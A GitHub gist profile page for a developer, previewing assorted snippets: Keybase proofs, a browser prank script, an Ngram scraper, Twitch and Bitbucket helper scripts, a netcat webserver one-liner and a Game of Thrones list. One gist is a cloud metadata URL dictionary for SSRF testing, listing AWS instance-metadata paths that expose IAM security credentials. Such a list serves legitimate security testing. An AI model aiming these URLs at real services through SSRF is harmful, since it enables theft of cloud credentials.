Skip to content

Instantly share code, notes, and snippets.

🇨🇿
Czeching out your git secrets 🙃

Dylan Katz Plazmaz

🇨🇿
Czeching out your git secrets 🙃
Block or report user

Report or block Plazmaz

Hide content and notifications from this user.

Learn more about blocking users

Contact Support about this user’s behavior.

Learn more about reporting abuse

Report abuse
View GitHub Profile
View gist:1537be3c144ecd8191ce
### Keybase proof
I hereby claim:
* I am Plazmaz on github.
* I am dtk (https://keybase.io/dtk) on keybase.
* I have a public key whose fingerprint is 7759 0E29 7266 DB91 B8D2 4112 8BEA B0BC 4651 FEDA
To claim this, I am signing this object:
@Plazmaz
Plazmaz / Script for isitchristmas.co
Last active Aug 29, 2015
script for http:/isitchristmas.com. this script makes spirals around everyone and turns you into a troll face.
View Script for isitchristmas.co
var radius = 2;
var i = 0;
var idx = 0;
var increment = 5;
var icon = "../emojis/trollface"
IIC.setCountry(icon);
document.onmousemove = move;
var loop = setInterval(function() {
for (var id in others) {
//console.log(id)
@Plazmaz
Plazmaz / scrape.js
Last active Feb 23, 2017
Extract data from Google Books Ngram Viewer(https://books.google.com/ngrams/graph)
View scrape.js
//This can be pasted into the chrome dev console to generate a comma seperated list
//of coordinates. This is copied to your clipboard and can be pasted into a CSV.
var children = document.getElementsByClassName("y axis main")[0].children;
var scaleStr = children[children.length - 2].children[1].innerHTML;
scaleStr = scaleStr.substring(0, scaleStr.length - 1);
var scale = 413 / parseFloat(scaleStr);
var data = document.getElementsByClassName("line visible clickable main")[0].getAttribute("d");
var coords = data.substr(1).split("L")
var msg = ""
for(var i = 0; i < coords.length; i++) {
@Plazmaz
Plazmaz / stream.sh
Created May 21, 2017
Stream an image file to twitch
View stream.sh
#! /bin/bash
IN_IMG="1.jpg"
STREAM_KEY="live_xxxxxxxxx_xxxxxxxxxxxxxx"
ffmpeg -re -loop 1 -framerate 2 -i $IN_IMG \
-f lavfi -i anullsrc=channel_layout=stereo:sample_rate=44100 \
-c:a libmp3lame \
-vcodec libx264 -pix_fmt yuv420p -maxrate 2048k -bufsize 2048k \
-framerate 30 -g 2 -strict experimental -f flv \
-strict experimental -f flv rtmp://live.twitch.tv/app/$STREAM_KEY
View keybase.md

Keybase proof

I hereby claim:

  • I am Plazmaz on github.
  • I am plazmaz (https://keybase.io/plazmaz) on keybase.
  • I have a public key whose fingerprint is 361E 53F6 C25C 5BD6 4E0D AD43 40F2 0498 A66D C05B

To claim this, I am signing this object:

@Plazmaz
Plazmaz / gen-bitbucket-credentials.sh
Created Nov 7, 2017
Generate test credentials for bitbucket
View gen-bitbucket-credentials.sh
#!/bin/bash
CLIENT_ID=""
CLIENT_SECRET=""
if [[ ! $1 ]]
then
echo "Please visit the following url to generate a code:"
echo "https://bitbucket.org/site/oauth2/authorize?client_id=$CLIENT_ID&response_type=code"
else
curl -X POST -u "$CLIENT_ID:$CLIENT_SECRET" \
View keybase.md

Keybase proof

I hereby claim:

  • I am plazmaz on github.
  • I am plazmaz (https://keybase.io/plazmaz) on keybase.
  • I have a public key ASBxr7rAPgnm0QPh7SAuvPdZSIcoiHtF9wGH3uNplRZtDwo

To claim this, I am signing this object:

@Plazmaz
Plazmaz / cloud_metadata.txt
Last active Jul 14, 2018 — forked from BuffaloWill/cloud_metadata.txt
Cloud Metadata Dictionary useful for SSRF Testing
View cloud_metadata.txt
## AWS
# Amazon Web Services (No Header Required)
# from http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html#instancedata-data-categories
http://169.254.169.254/latest/user-data
http://169.254.169.254/latest/user-data/iam/security-credentials/[ROLE NAME]
http://169.254.169.254/latest/meta-data/iam/security-credentials/[ROLE NAME]
http://169.254.169.254/latest/meta-data/ami-id
http://169.254.169.254/latest/meta-data/reservation-id
http://169.254.169.254/latest/meta-data/hostname
http://169.254.169.254/latest/meta-data/public-keys/0/openssh-key
@Plazmaz
Plazmaz / netcat-webserver.sh
Last active Apr 19, 2019
A one-liner for a netcat webserver w/ sane logging
View netcat-webserver.sh
#! /bin/bash
sudo bash -c 'while true; do echo "HTTP/1.1 200 OK\n\n" |nc -l -p 80 |egrep -v "Accept" |egrep -v "Content-Length" |egrep -v "Host" |egrep -vi "cache"; done'
# Original (no sudo):
# while true; do echo "HTTP/1.1 200 OK\n\n" |nc -l -p 80 |egrep -v "Accept" |egrep -v "Content-Length" |egrep -v "Host" |egrep -vi "cache"; done
# Raw (Skip filtering header lines):
# sudo bash -c 'while true; do echo "HTTP/1.1 200 OK\n\n" |nc -l -p 80; done'
@Plazmaz
Plazmaz / arya-list.md
Last active May 30, 2019
Arya Stark's Kill List (From the Show)
View arya-list.md

Spoilers?

  • Joffrey
  • Cersei
  • Wolder Frey
  • Meryn Trant
  • Tywin Lannister
  • The Red Woman
  • Beric Dondarrion (Removed before death)
  • Thoros of Myr
  • Ilyn Payne
You can’t perform that action at this time.